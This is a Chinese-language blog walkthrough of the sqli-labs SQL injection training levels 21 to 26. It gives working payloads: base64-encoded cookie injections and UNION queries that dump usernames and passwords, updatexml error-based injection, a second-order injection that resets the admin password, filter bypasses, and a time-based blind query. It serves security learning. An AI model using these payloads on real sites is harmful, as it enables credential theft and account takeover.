sql-lib闯关秘籍之21-30关

时间:2022-02-18 02:28:06

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关sql-lib闯关秘籍之11-20关

不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限!

以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~

 

 第二十一关

我们输入用户名密码之后发现是这个样子的,和第20关很像对吧,就是cookie的值变成了一堆字母数字,这是对cookie的值进行了base64的处理,其他和20关一样

 sql-lib闯关秘籍之21-30关

 

 获取版本库名(我们只要转码就可以了)当然要先确认cookie后面的构造,通过测试是单引号括号闭合‘),当然这个也要转码,给大家一个转码的网站

sql-lib闯关秘籍之21-30关

 

 这样的话就是获取库名

sql-lib闯关秘籍之21-30关

 

 最后获得用户名密码,中间步骤不再一一截图,里面的语句和第一关一样

这是语句   -admin‘) union select 1,2,group_concat(username,0x3a,password) from users#= 

这是base64转码     LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9

sql-lib闯关秘籍之21-30关

 

 第二十二关

这一关还是输入用户名密码先试试,发现和21关一样

sql-lib闯关秘籍之21-30关

 

 还是那个步骤先试试是啥闭合方式,发现是双引号闭合,这就好办了,其他和上一关一样(步骤都一样,直接给最后一步)

这是语句   -admin" union select 1,2,group_concat(username,0x3a,password) from users#=

这是base64码     LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g

sql-lib闯关秘籍之21-30关

第二十三关

上来先看一下23关,赶紧又回归原始了昂,咋和第一关有点像嘞,那还是哪些步骤试一试嘛

sql-lib闯关秘籍之21-30关

 

 我刚开始我试了试发现字符型注入但是后面有个问题,可以用and 但是不能用联合查询语句了,一看php文件原来他把我的#  -- 注释符号给过滤掉了

一种是用union select联合查询放在id里面             ?id=‘ union select 1,13,database()

sql-lib闯关秘籍之21-30关

 

  爆表

sql-lib闯关秘籍之21-30关

 

 爆列

sql-lib闯关秘籍之21-30关

 

 爆用户名密码

sql-lib闯关秘籍之21-30关

另一种是利用or "1"="1来闭合后面的双引号也。可以达到我们的目的(简单测试不再赘述,代码和第五关的基本一样)    -1‘ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1‘=‘1

sql-lib闯关秘籍之21-30关

 

 第二十四关

呀喝,刚进这个页面有点意思哈

sql-lib闯关秘籍之21-30关

 

 这里是个二次注入,我们可以先注册一个admin‘#的账号,在修改密码处我们就可以用自己的密码修改admin的密码了,

Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =‘ admin‘ # ‘ AND password=‘
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =‘ admin‘

注册

sql-lib闯关秘籍之21-30关

登陆

sql-lib闯关秘籍之21-30关

 

 修改密码

 sql-lib闯关秘籍之21-30关

 

 再用admin  密码123456登陆进来  注入成功

sql-lib闯关秘籍之21-30关

 

 第二十五关

这关一上来好像就告诉我们不能用and喝or进行注入,那咱就不用了,接下来有三种方法(具体步骤不再截图)

sql-lib闯关秘籍之21-30关

 

 第一种方法,用--   #这种普通注入  ?id=-1‘ union select 1,13,database()--

sql-lib闯关秘籍之21-30关

 

 第二种方法双写or和and,因为它过滤一个,我们就让过滤后的东西再组成一个   ?id=-1‘ union select 1,2,group_concat(username,0x7e,passwoorrd) from users--

sql-lib闯关秘籍之21-30关

 

 sql-lib闯关秘籍之21-30关

 

 第三种方法,使用&&,||绕过   admin‘||updatexml(1,concat(0x7e,(select @@version),0x7e),1)#   网上有成功的案例我没成功也不知道为什么,我还会琢磨的,等找到答案再来填,

第二十五a关

差点没发现这一关。。。通过这关的题目我们可以发现这关是盲注,所以说只是不回显了的不用and和or,而且我测试发现这关是数字型注入也就是说没有引号

sql-lib闯关秘籍之21-30关

 

 

 说是盲注但是还有回显,因为有回显位(其他截图步骤省略了,嘿嘿)

sql-lib闯关秘籍之21-30关

 

 

 再说了,一说到盲注咱们就想到啥了?那肯定是时间盲注和布尔盲注对吧

时间盲注   ?id=-1 || if(length(database())=8,1,sleep(3))#  

第二十六关

咱直接看它的php文件吧,越到后面越难了,看完之后沧桑了不少,这是直接来了个过滤大套餐啊,咋办嘞?我们用URL编码

sql-lib闯关秘籍之21-30关

 

 

  TAB键(水平)
新建一行
新的一页
return功能
TAB键(垂直)